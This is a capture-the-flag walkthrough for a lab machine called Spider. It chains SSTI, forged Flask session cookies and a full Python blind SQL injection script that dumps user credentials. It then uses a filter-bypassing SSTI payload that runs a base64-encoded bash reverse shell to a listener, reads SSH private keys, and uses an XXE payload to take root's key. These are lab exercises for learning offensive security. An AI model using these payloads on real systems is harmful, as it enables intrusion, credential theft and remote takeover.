Spider

Enumeration
As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.
The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:
nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.243 -oN allPorts
-sS
use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.--min-rate 5000
nmap will try to keep the sending rate at or above 5000 packets per second.-p-
scanning the entire port range, from 1 to 65535.-T5
insane mode, it is the fastest mode of the nmap time template.-Pn
assume the host is online.-n
scan without reverse DNS resolution.-oN
save the scan result into a file, in this case the allports file.
# Nmap 7.93 scan initiated Wed May 17 14:54:36 2023 as: nmap -sS --min-rate 5000 -p- -n -Pn -oN allPorts 10.10.10.243
Nmap scan report for 10.10.10.243
Host is up (0.054s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
# Nmap done at Wed May 17 14:55:08 2023 -- 1 IP address (1 host up) scanned in 31.91 seconds
Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:
nmap -sC -sV -p22,80 10.10.10.243 -oN targeted
-sC
performs the scan using the default set of scripts.-sV
enables version detection.-oN
save the scan result into file, in this case the targeted file.
# Nmap 7.93 scan initiated Wed May 17 14:55:19 2023 as: nmap -sCV -p22,80 -Pn -n -oN targeted 10.10.10.243
Nmap scan report for 10.10.10.243
Host is up (0.037s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 28f161280163296dc5036da9f0b06661 (RSA)
| 256 3a158ccc66f49dcbed8a1ff9d7abd1cc (ECDSA)
|_ 256 a6d40c8e5baa3f9374d6a808c9523909 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Did not follow redirect to http://spider.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed May 17 14:55:27 2023 -- 1 IP address (1 host up) scanned in 8.42 seconds
If we try to access the website on port 80, we'll see that it tries to reach spider.htb.
curl http://10.10.10.243 -L
curl: (6) Could not resolve host: spider.htb
Let's add the domain name to the /etc/hosts
file.
nano /etc/hosts
# Host addresses
127.0.0.1 localhost
127.0.1.1 alfa8sa
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
f02::2 ip6-allrouters
10.10.10.124 spider.htb
There is a chair store hosted on the web server.

We could register a new user.

To log in, we'll need to provide our password and uuid.

Once logged in, from the User Information section, we'll be able to see our username and uuid.

Exploitation
As the username gets represented in the website, we could try to create a new user with an SSTI payload as the username, and see if we can retrieve any data. In this case, we could use the {{config}}
payload to retrieve the configuration parameters of the server.

As we can see, the server is vulnerable to SSTI because we get the server configuration.

We can put the content in the config file to see it more comfortably. As we can see, there is one secret key.
cat config | tr "," "\n"
...
'SECRET_KEY': 'Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942'
..
As we can see, we have a cookie that looks like a JWT.

We could decode the cookie with the flask-unsign
tool.
flask-unsign --decode --cookie 'eyJjYXJ0X2l0ZW1zIjpbXSwidXVpZCI6IjgwNTYwODhlLWZhNjQtNDg1OC05NTdiLTc0YThiZThmMmY0ZSJ9.ZGaGXg.HkhEFUVLzvrw5yi3fAdp-jy0Qm8'
{'cart_items': [], 'uuid': '8056088e-fa64-4858-957b-74a8be8f2f4e'}
As we also have to private key that is used to sign cookies, we could form our own session cookie.
flask-unsign --sign --cookie "{'cart_items': [], 'uuid': '8056088e-fa64-4858-957b-74a8be8f2f4e'}" --secret 'Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942'
eyJjYXJ0X2l0ZW1zIjpbXSwidXVpZCI6IjgwNTYwODhlLWZhNjQtNDg1OC05NTdiLTc0YThiZThmMmY0ZSJ9.ZGaIOg.eLg7yVbm44N73YwTwJPlM-4qAMs
The cookie has the uuid
key. We could test if that key is vulnerable to SQL Injection. Let's create one session cookie with the '
character at the end of the uuid.
flask-unsign --sign --cookie "{'cart_items': [], 'uuid': '8056088e-fa64-4858-957b-74a8be8f2f4e''}" --secret 'Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942'
eyJjYXJ0X2l0ZW1zIjpbXSwidXVpZCI6IjgwNTYwODhlLWZhNjQtNDg1OC05NTdiLTc0YThiZThmMmY0ZScifQ.ZGaJUQ.wVwB_UzPJKAnfvE5gY4DL-vLP-E
If we replace the session cookie that we have with the one we just created and reload the page, we'll see that the server crashes.

If we create a session cookie with a simple SQLi payload such as ' or 1=1-- -
, we'll see that we become the chiv user.
flask-unsign --sign --cookie "{'cart_items': [], 'uuid': '8056088e-fa64-4858-957b-74a8be8f2f4e' or 1=1-- -'}" --secret 'Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942'
eyJjYXJ0X2l0ZW1zIjpbXSwidXVpZCI6IjgwNTYwODhlLWZhNjQtNDg1OC05NTdiLTc0YThiZThmMmY0ZScgb3IgMT0xLS0gLSJ9.ZGaKlA.CLNuhGFlyHEeSZ9Jtk3eqwWS0T0

The server is vulnerable to Blind SQL Injection. The following is a python script that automates the whole process of creating malicious cookies to dump the entire database. It will start getting the database name, then it will get the tables of that database, and the columns of the user
table, then finally, it will dump all the data from that table.
#!/usr/bin/python3
import requests
from pwn import *
import pdb, string
def def_handler(sig, frame):
print("\n[!] Quiting...\n")
sys.exit(1)
# Ctrl+C
signal.signal(signal.SIGINT, def_handler)
characters = string.ascii_lowercase
uuid = "8056088e-fa64-4858-957b-74a8be8f2f4e"
secret = "Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942"
main_url = "http://spider.htb"
proxy = {'http': 'http://localhost:8080'}
def sqli(query, chars):
counter = 1
trigger = 0
element = ""
while trigger == 0:
for char in chars + ",":
p2.status("%s%s" % (element,char))
payload = "\\' and if(substr(%s,\\'%s\\',1)=\\'%s\\',sleep(3),1)-- -" % (query,counter,char)
time_start = time.time()
cookie = """{'cart_items': [], 'uuid': '%s%s'}""" % (uuid,payload)
#print(cookie)
session_cookie = subprocess.check_output("""flask-unsign --sign --cookie "%s" --secret '%s'""" % (cookie,secret), shell=True).decode().strip()
headers = {
'Cookie': 'session=%s' % session_cookie
}
r = requests.get(main_url, headers=headers, proxies=proxy)
time_end = time.time()
if time_end - time_start > 3:
element += char
counter += 1
p2.status(element)
break
else:
if char == chars[-1]:
p2.status(element)
trigger = 1
return element
def makeRequest():
p1 = log.progress("Blind SQLi")
time.sleep(1)
global p2
p2 = log.progress("Injecting")
time.sleep(1)
query = "database()"
database = sqli(query, string.ascii_lowercase)
log.info("Database: %s" % database)
query = "(select group_concat(table_name) from information_schema.tables where table_schema=\\'%s\\')" % database
tables = sqli(query, string.ascii_lowercase + ",")
log.info("Tables: %s" % tables)
query = "(select group_concat(column_name) from information_schema.columns where table_schema=\\'%s\\' and table_name=\\'users\\')" % database
columns = sqli(query, string.ascii_lowercase + ",")
log.info("Columns of the 'users' table: %s" % columns)
query = "(select concat(name,0x3a,password,0x3a,uuid) from users limit 0,1)"
data = sqli(query, string.ascii_uppercase + string.ascii_lowercase + string.digits + "-" + "," + ":")
log.info("Data from the 'users' table: %s" % data)
p2.status("Finished")
if __name__ == '__main__':
makeRequest()
Run the script to dump the database.
python exploit.py
[◒] Blind SQLi
[◓] Injecting: Finished
[*] Database: shop
[*] Tables: items,messages,support,users
[*] Columns of the 'users' table: id,name,password,uuid
[*] Data from the 'users' table: chiv:ch1VW4sHERE7331:129f60ea-30cf-4065-afb9-6be45ad38b73
Now that we have the password and uuid of the chiv
user, let's log in as him.

There are different sections in the admin panel.

In the View messages
section, there is one message saying to fix some portal.

The portal allows us to submit tickets.

We could try to inject SSTI payloads like before, but now there is some kind of security measure implemented.

If we submit special characters, we'll see that the server doesn't like the _
, '
and .
characters.

There are some payloads that are capable of bypassing this type of security measures. First, set a netcat listener on port 4444.
rlwrap nc -lvnp 4444
-l
listen mode.-v
verbose mode.-n
numeric-only IP, no DNS resolution.-p
specify the port to listen on.
Now, base64 encode a payload that will send us a reverse shell.
echo 'bash -c "bash -i >& /dev/tcp/10.10.14.8/4444 0>&1"' | base64
YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC44LzQ0NDQgMD4mMSIK
The payload that we could use can be found in PayloadAllTheThings. But we need to modify it a bit. Change the '
characters to "
. Then change the first {{
characters to {%include
, and the last }}
to %}
. It will look like this.
%include request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("echo YmFzaCAtYyAiYmFzaCAtaSA%2bJiAvZGV2L3RjcC8xMC4xMC4xNC44LzQ0NDQgMD4mMSIK | base64 -d | bash")|attr("read")()%}
Make a request with BurpSuite to get the reverse shell as chiv
. Then, we'll be able to grab the user flag.

Listening on 0.0.0.0 4444
Connection received on 10.10.10.243 39726
bash: cannot set terminal process group (1596): Inappropriate ioctl for device
bash: no job control in this shell
chiv@spider:/var/www/webapp$ whoami
whoami
chiv
chiv@spider:/var/www/webapp$ cat /home/chiv/user.txt
cat /home/chiv/user.txt
2de2f0718417afdf26af4c6202f09d67
Privilege Escalation
To get a more stable shell, get the id_rsa
file of chiv
.
cat /home/chiv/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAmGvQ3kClVX7pOTDIdNTsQ5EzQl+ZLbpRwDgicM4RuWDvDqjV
gjWRBF5B75h/aXjIwUnMXA7XimrfoudDzjynegpGDZL2LHLsVnTkYwDq+o/MnkpS
...
TTppoBhfUJqKnpa6eCPd+4iltr2JT4rwY4EKG0fjWWrMzWaK7GnW45WFtCBCJIf6
IleM+8qziZ8YcxqeKNdpcTZkl2VleDsZpkFGib0NhKaDN9ugOgpRXw==
-----END RSA PRIVATE KEY-----
Create it in your machine, give it the right permissions, and log in via SSH.
nano id_rsa; chmod 600 id_rsa
ssh -i id_rsa chiv@10.10.10.243
Last login: Fri May 21 15:02:03 2021 from 10.10.14.7
chiv@spider:~$ whoami
chiv
Port 8080 is open but it can not be accessed externally.
netstat -tulpn
(No info could be read for "-p": geteuid()=1000 but you should be root.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
udp 0 0 127.0.0.53:53 0.0.0.0:* -
Do port forwarding with SSH of that port to port 80 of our localhost.
ssh -i id_rsa chiv@10.10.10.243 -L 80:127.0.0.1:8080
There is a login page in that web server.

If we enter any username we'll be able to log in.

If we intercept a login request with BurpSuite, we'll see that we are sending the username
and version
parameters.

Then, we'll be redirected to /site
with a new session cookie.

The cookie contains a base64 encoded value of the lxml
key.
flask-unsign --decode --cookie '.eJxNjE1vgyAAhv_KwnkHdG4Hk14MiKOTBhSw3DSYYf2YqWSzNv3vW5Mt2fHJ87zvFQzrOID4Ch4aEAOJWWrxWvKeKqH9pMZAtzq_NJnpaplGJZkTKwPEK5ErJN4kdns7vm6y8OjHT4VkySGdM3FKzN3f2cABcW0phzgyqTs0hHmmXacCeTbY6nYU2D6ZXuPn5RjCoCa0Uv_-fvdchOuLRpTUIa2aTPG6x1GJ6NIO7xcx-k6FayCJ_fzr-TactXJFnSZTs7k8h3N4PDGx_9rtwO0RzB_d5BcQw9s3hSNV0Q.ZGcjsw.h-kk33UvadiCOTalT3tIJY7r6f4'
If we decode the base64 string, we'll see that it is an XML message.
echo "PCEtLSBBUEkgVmVyc2lvbiAxLjAuMCAtLT4KPHJvb3Q+CiAgICA8ZGF0YT4KICAgICAgICA8dXNlcm5hbWU+dGVzdDwvdXNlcm5hbWU+CiAgICAgICAgPGlzX2FkbWluPjA8L2lzX2FkbWluPgogICAgPC9kYXRhPgo8L3Jvb3Q+" | base64 -d
<!-- API Version 1.0.0 -->
<root>
<data>
<username>test</username>
<is_admin>0</is_admin>
</data>
</root>
We could try to do something. As we have control of the API version and the username field, we could try to inject an XXE payload to read local files. If we suppose that the server is running as root, we could try to read the private SSH key of the root user. The API version parameter will have to look something like the following.
--><!DOCTYPE root [ <!ENTITY test SYSTEM 'file:///root/.ssh/id_rsa'> ]><!--
Then, the username will have to be the following payload so we can see the content of the SSH key displayed in the website.
&test;
Send the two payloads with BurpSuite. Make sure to add a space at the end of the second payload, and to URL encode the first one.

Indeed, as the server is running as root, we can see the id_rsa
file of root displayed on the website.

Finally, create the id_rsa file in our local machine, give it the right permissions, and get a shell as root. Then, all we have to do is reap the harvest and take the root flag.
nano id_rsa.root; chmod 600 id_rsa.root
ssh -i id_rsa.root root@10.10.10.243
Last login: Fri Jul 23 14:11:40 2021
root@spider:~# whoami
root
root@spider:~# cat root.txt
17c31cf6c43b30648342856393ad811a
Last updated
Was this helpful?